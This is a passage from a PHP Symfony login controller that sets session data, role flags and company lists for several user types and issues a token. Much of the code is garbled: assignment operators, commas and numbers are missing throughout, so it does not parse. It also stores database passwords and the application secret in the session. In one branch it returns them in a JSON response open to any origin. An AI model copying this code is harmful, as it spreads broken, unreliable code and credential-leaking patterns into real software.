  4936.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4937.                     $loginID $this->get('user_module')->addUserLoginLog(
  4938.                         $userId,
  4939.                         $request->server->get("REMOTE_ADDR"),
  4940.                         $curr_position_id
  4941.                     );
  4942.                     $appIdList json_decode($user->getUserAppIdList());
  4943.                     $branchIdList json_decode($user->getUserBranchIdList());
  4944.                     if ($branchIdList == null$branchIdList = [];
  4945.                     $branchId $user->getUserBranchId();
  4946.                     if ($appIdList == null$appIdList = [];
  4947. //
  4948. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4949. //                        $appIdList[] = $user->getUserAppId();
  4950. //
  4951. //                    foreach ($appIdList as $currAppId) {
  4952. //                        if ($currAppId == $user->getUserAppId()) {
  4953. //
  4954. //                            foreach ($company_id_list as $index_company => $company_id) {
  4955. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4956. //                                $app_company_index = $currAppId . '_' . $company_id;
  4957. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4958. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4959. //                            }
  4960. //                        } else {
  4961. //
  4962. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4963. //                                $this->getDoctrine()->getManager('company_group'),
  4964. //                                $gocEnabled,
  4965. //                                $currAppId
  4966. //                            );
  4967. //                            if (!empty($dataToConnect)) {
  4968. //                                $connector = $this->container->get('application_connector');
  4969. //                                $connector->resetConnection(
  4970. //                                    'default',
  4971. //                                    $dataToConnect['dbName'],
  4972. //                                    $dataToConnect['dbUser'],
  4973. //                                    $dataToConnect['dbPass'],
  4974. //                                    $dataToConnect['dbHost'],
  4975. //                                    $reset = true
  4976. //                                );
  4977. //                                $em = $this->getDoctrine()->getManager();
  4978. //
  4979. //                                $companyList = Company::getCompanyListWithImage($em);
  4980. //                                foreach ($companyList as $c => $dta) {
  4981. //                                    //                                $company_id_list[]=$c;
  4982. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  4983. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  4984. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  4985. //                                    $app_company_index = $currAppId . '_' . $c;
  4986. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4987. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  4988. //                                }
  4989. //                            }
  4990. //                        }
  4991. //                    }
  4992.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  4993.                     // General User
  4994.                     $employeeId 0;
  4995.                     $currentMonthHolidayList = [];
  4996.                     $currentHolidayCalendarId 0;
  4997.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4998.                         ->findOneBy(
  4999.                             array(
  5000.                                 'userId' => $user->getUserId()
  5001.                             )
  5002.                         );
  5003.                     if ($employeeObj) {
  5004.                         $employeeId $employeeObj->getEmployeeId();
  5005.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5006.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5007.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5008.                     }
  5009.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  5010.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  5011.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  5012.                     $session->set(UserConstants::USER_ID$user->getUserId());
  5013.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  5014.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  5015.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  5016.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  5017.                     $session->set(UserConstants::USER_NAME$user->getName());
  5018.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5019.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  5020.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  5021.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  5022.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  5023.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  5024.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  5025.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  5026.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  5027.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  5028.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  5029.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  5030.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5031.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5032.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5033.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5034.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5035.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5036.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5037.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5038.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5039.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5040.                         return $this->redirectToRoute("user_login_position");
  5041.                     } else {
  5042.                         $PL json_decode($user->getPositionIds(), true);
  5043.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5044.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5045.                         $loginID $this->get('user_module')->addUserLoginLog(
  5046.                             $session->get(UserConstants::USER_ID),
  5047.                             $request->server->get("REMOTE_ADDR"),
  5048.                             $PL[0]
  5049.                         );
  5050.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5051.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5052.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5053.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5054.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5055.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5056.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5057.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5058.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5059.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5060.                         $appIdList json_decode($user->getUserAppIdList());
  5061.                         if ($appIdList == null$appIdList = [];
  5062.                         $companyIdListByAppId = [];
  5063.                         $companyNameListByAppId = [];
  5064.                         $companyImageListByAppId = [];
  5065.                         if (!in_array($user->getUserAppId(), $appIdList))
  5066.                             $appIdList[] = $user->getUserAppId();
  5067.                         foreach ($appIdList as $currAppId) {
  5068.                             if ($currAppId == $user->getUserAppId()) {
  5069.                                 foreach ($company_id_list as $index_company => $company_id) {
  5070.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5071.                                     $app_company_index $currAppId '_' $company_id;
  5072.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5073.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5074.                                 }
  5075.                             } else {
  5076.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5077.                                     $this->getDoctrine()->getManager('company_group'),
  5078.                                     $gocEnabled,
  5079.                                     $currAppId
  5080.                                 );
  5081.                                 if (!empty($dataToConnect)) {
  5082.                                     $connector $this->container->get('application_connector');
  5083.                                     $connector->resetConnection(
  5084.                                         'default',
  5085.                                         $dataToConnect['dbName'],
  5086.                                         $dataToConnect['dbUser'],
  5087.                                         $dataToConnect['dbPass'],
  5088.                                         $dataToConnect['dbHost'],
  5089.                                         $reset true
  5090.                                     );
  5091.                                     $em $this->getDoctrine()->getManager();
  5092.                                     $companyList Company::getCompanyListWithImage($em);
  5093.                                     foreach ($companyList as $c => $dta) {
  5094.                                         //                                $company_id_list[]=$c;
  5095.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5096.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5097.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5098.                                         $app_company_index $currAppId '_' $c;
  5099.                                         $company_locale $companyList[$c]['locale'];
  5100.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5101.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5102.                                     }
  5103.                                 }
  5104.                             }
  5105.                         }
  5106.                         $session->set('appIdList'$appIdList);
  5107.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5108.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5109.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5110.                         $branchIdList json_decode($user->getUserBranchIdList());
  5111.                         $branchId $user->getUserBranchId();
  5112.                         $session->set('branchIdList'$branchIdList);
  5113.                         $session->set('branchId'$branchId);
  5114.                         if ($user->getAllModuleAccessFlag() == 1)
  5115.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5116.                         else
  5117.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5118.                         $session_data = array(
  5119.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5120.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5121.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5122.                             'oAuthToken' => $session->get('oAuthToken'),
  5123.                             'locale' => $session->get('locale'),
  5124.                             'firebaseToken' => $session->get('firebaseToken'),
  5125.                             'token' => $session->get('token'),
  5126.                             'firstLogin' => $firstLogin,
  5127.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5128.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5129.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5130.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5131.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5132.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5133.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5134.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5135.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5136.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5137.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5138.                             'oAuthImage' => $session->get('oAuthImage'),
  5139.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5140.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5141.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5142.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5143.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5144.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5145.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5146.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5147.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5148.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5149.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5150.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5151.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5152.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5153.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5154.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5155.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5156.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5157.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5158.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5159.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5160.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5161.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5162.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5163.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5164.                             //new
  5165.                             'appIdList' => $session->get('appIdList'),
  5166.                             'branchIdList' => $session->get('branchIdList'null),
  5167.                             'branchId' => $session->get('branchId'null),
  5168.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5169.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5170.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5171.                         );
  5172.                         $session_data $this->filterClientSessionData($session_data);
  5173.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5174.                         $session_data $tokenData['sessionData'];
  5175.                         $token $tokenData['token'];
  5176.                         $session->set('token'$token);
  5177.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5178.                             $session->set('remoteVerified'1);
  5179.                             $response = new JsonResponse(array(
  5180.                                 'uid' => $session->get(UserConstants::USER_ID),
  5181.                                 'session' => $session,
  5182.                                 'token' => $token,
  5183.                                 'success' => true,
  5184.                                 'session_data' => $session_data,
  5185.                             ));
  5186.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5187.                             return $response;
  5188.                         }
  5189.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5190.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5191.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5192.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5193.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5194.                                     return $this->redirect($red);
  5195.                                 }
  5196.                             } else {
  5197.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5198.                             }
  5199.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5200.                             return $this->redirectToRoute("dashboard");
  5201.                         else
  5202.                             return $this->redirectToRoute($user->getDefaultRoute());
  5203. //                        if ($request->server->has("HTTP_REFERER")) {
  5204. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5205. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5206. //                            }
  5207. //                        }
  5208. //
  5209. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5210. //                        if ($request->request->has('referer_path')) {
  5211. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5212. //                                return $this->redirect($request->request->get('referer_path'));
  5213. //                            }
  5214. //                        }
  5215. //                        //                    if($request->request->has('gocId')
  5216. //
  5217. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5218. //                            return $this->redirectToRoute("dashboard");
  5219. //                        else
  5220. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5221.                     }
  5222.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5223.                     $applicantId $user->getApplicantId();
  5224.                     $userId $user->getApplicantId();
  5225.                     $globalId $user->getApplicantId();
  5226.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5227.                     $isConsultant $user->getIsConsultant() == 0;
  5228.                     $isRetailer $user->getIsRetailer() == 0;
  5229.                     $retailerLevel $user->getRetailerLevel() == 0;
  5230.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5231.                     $isModerator $user->getIsModerator() == 0;
  5232.                     $isAdmin $user->getIsAdmin() == 0;
  5233.                     $userEmail $user->getOauthEmail();
  5234.                     $userImage $user->getImage();
  5235.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5236.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5237.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5238.                     $buddybeeBalance $user->getAccountBalance();
  5239.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5240.                     $userDefaultRoute 'applicant_dashboard';
  5241. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5242.                     $userAppIds = [];
  5243.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5244.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5245.                     if ($userAppIds == null$userAppIds = [];
  5246.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5247.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5248.                     foreach ($userTypesByAppIds as $aid => $accData)
  5249.                         if (in_array($aid$userSuspendedAppIds))
  5250.                             unset($userTypesByAppIds[$aid]);
  5251.                         else
  5252.                             $userAppIds[] = $aid;
  5253. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5254.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5255.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5256.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5257.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5258.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5259.                     $loginID MiscActions::addEntityUserLoginLog(
  5260.                         $em_goc,
  5261.                         $userId,
  5262.                         $applicantId,
  5263.                         1,
  5264.                         $request->server->get("REMOTE_ADDR"),
  5265.                         0,
  5266.                         $request->request->get('deviceId'''),
  5267.                         $request->request->get('oAuthToken'''),
  5268.                         $request->request->get('oAuthType'''),
  5269.                         $request->request->get('locale'''),
  5270.                         $request->request->get('firebaseToken''')
  5271.                     );
  5272.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5273.                     // General User
  5274.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5275.                         ->findOneBy(
  5276.                             array(
  5277.                                 'userId' => $user->getUserId()
  5278.                             )
  5279.                         );
  5280.                     if ($employeeObj) {
  5281.                         $employeeId $employeeObj->getEmployeeId();
  5282.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5283.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5284.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5285.                     }
  5286.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5287.                         ->findOneBy(
  5288.                             array(
  5289.                                 'userId' => $user->getUserId(),
  5290.                                 'workingStatus' => 1
  5291.                             )
  5292.                         );
  5293.                     if ($currentTask) {
  5294.                         $currentTaskId $currentTask->getId();
  5295.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5296.                     }
  5297.                     $userId $user->getUserId();
  5298.                     $userCompanyId 1;
  5299.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5300.                     $userEmail $user->getEmail();
  5301.                     $userImage $user->getImage();
  5302.                     $userFullName $user->getName();
  5303.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5304.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5305.                     $position_list_array json_decode($user->getPositionIds(), true);
  5306.                     if ($position_list_array == null$position_list_array = [];
  5307.                     $filtered_pos_array = [];
  5308.                     foreach ($position_list_array as $defPos)
  5309.                         if ($defPos != '' && $defPos != 0)
  5310.                             $filtered_pos_array[] = $defPos;
  5311.                     $position_list_array $filtered_pos_array;
  5312.                     if (!empty($position_list_array))
  5313.                         foreach ($position_list_array as $defPos)
  5314.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5315.                                 $curr_position_id $defPos;
  5316.                             }
  5317.                     $userDefaultRoute $user->getDefaultRoute();
  5318.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5319.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5320.                         $userDefaultRoute 'dashboard';
  5321.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5322.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5323.                     if (isset($companyList[$userCompanyId])) {
  5324.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5325.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5326.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5327.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5328.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5329.                     }
  5330.                     if ($allModuleAccessFlag == 1)
  5331.                         $prohibit_list_array = [];
  5332.                     else if ($curr_position_id != 0)
  5333.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5334.                     $loginID $this->get('user_module')->addUserLoginLog(
  5335.                         $userId,
  5336.                         $request->server->get("REMOTE_ADDR"),
  5337.                         $curr_position_id
  5338.                     );
  5339.                     $appIdList json_decode($user->getUserAppIdList());
  5340.                     $branchIdList json_decode($user->getUserBranchIdList());
  5341.                     if ($branchIdList == null$branchIdList = [];
  5342.                     $branchId $user->getUserBranchId();
  5343.                     if ($appIdList == null$appIdList = [];
  5344.                     if (!in_array($user->getUserAppId(), $appIdList))
  5345.                         $appIdList[] = $user->getUserAppId();
  5346.                     foreach ($appIdList as $currAppId) {
  5347.                         if ($currAppId == $user->getUserAppId()) {
  5348.                             foreach ($company_id_list as $index_company => $company_id) {
  5349.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5350.                                 $app_company_index $currAppId '_' $company_id;
  5351.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5352.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5353.                             }
  5354.                         } else {
  5355.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5356.                                 $this->getDoctrine()->getManager('company_group'),
  5357.                                 $gocEnabled,
  5358.                                 $currAppId
  5359.                             );
  5360.                             if (!empty($dataToConnect)) {
  5361.                                 $connector $this->container->get('application_connector');
  5362.                                 $connector->resetConnection(
  5363.                                     'default',
  5364.                                     $dataToConnect['dbName'],
  5365.                                     $dataToConnect['dbUser'],
  5366.                                     $dataToConnect['dbPass'],
  5367.                                     $dataToConnect['dbHost'],
  5368.                                     $reset true
  5369.                                 );
  5370.                                 $em $this->getDoctrine()->getManager();
  5371.                                 $companyList Company::getCompanyListWithImage($em);
  5372.                                 foreach ($companyList as $c => $dta) {
  5373.                                     //                                $company_id_list[]=$c;
  5374.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5375.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5376.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5377.                                     $app_company_index $currAppId '_' $c;
  5378.                                     $company_locale $companyList[$c]['locale'];
  5379.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5380.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5381.                                 }
  5382.                             }
  5383.                         }
  5384.                     }
  5385.                     if (count($position_list_array) > 1) {
  5386.                         $userForcedRoute 'user_login_position';
  5387. //                        return $this->redirectToRoute("user_login_position");
  5388.                     } else {
  5389.                     }
  5390.                 }
  5391.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5392.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5393.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5394.                 ) {
  5395.                     $session_data = array(
  5396.                         UserConstants::USER_ID => $userId,
  5397.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5398.                         UserConstants::APPLICANT_ID => $applicantId,
  5399.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5400.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5401.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5402.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5403.                         UserConstants::SUPPLIER_ID => $supplierId,
  5404.                         UserConstants::CLIENT_ID => $clientId,
  5405.                         UserConstants::USER_TYPE => $userType,
  5406.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5407.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5408.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5409.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5410.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5411.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5412.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5413.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5414.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5415.                         UserConstants::USER_NAME => $userFullName,
  5416.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5417.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5418.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5419.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5420.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5421.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5422.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5423.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5424.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5425.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5426.                         UserConstants::USER_GOC_ID => $gocId,
  5427.                         UserConstants::USER_DB_NAME => $gocDbName,
  5428.                         UserConstants::USER_DB_USER => $gocDbUser,
  5429.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5430.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5431.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5432.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5433.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5434.                         UserConstants::USER_LOGIN_ID => $loginID,
  5435.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5436.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5437.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5438.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5439.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
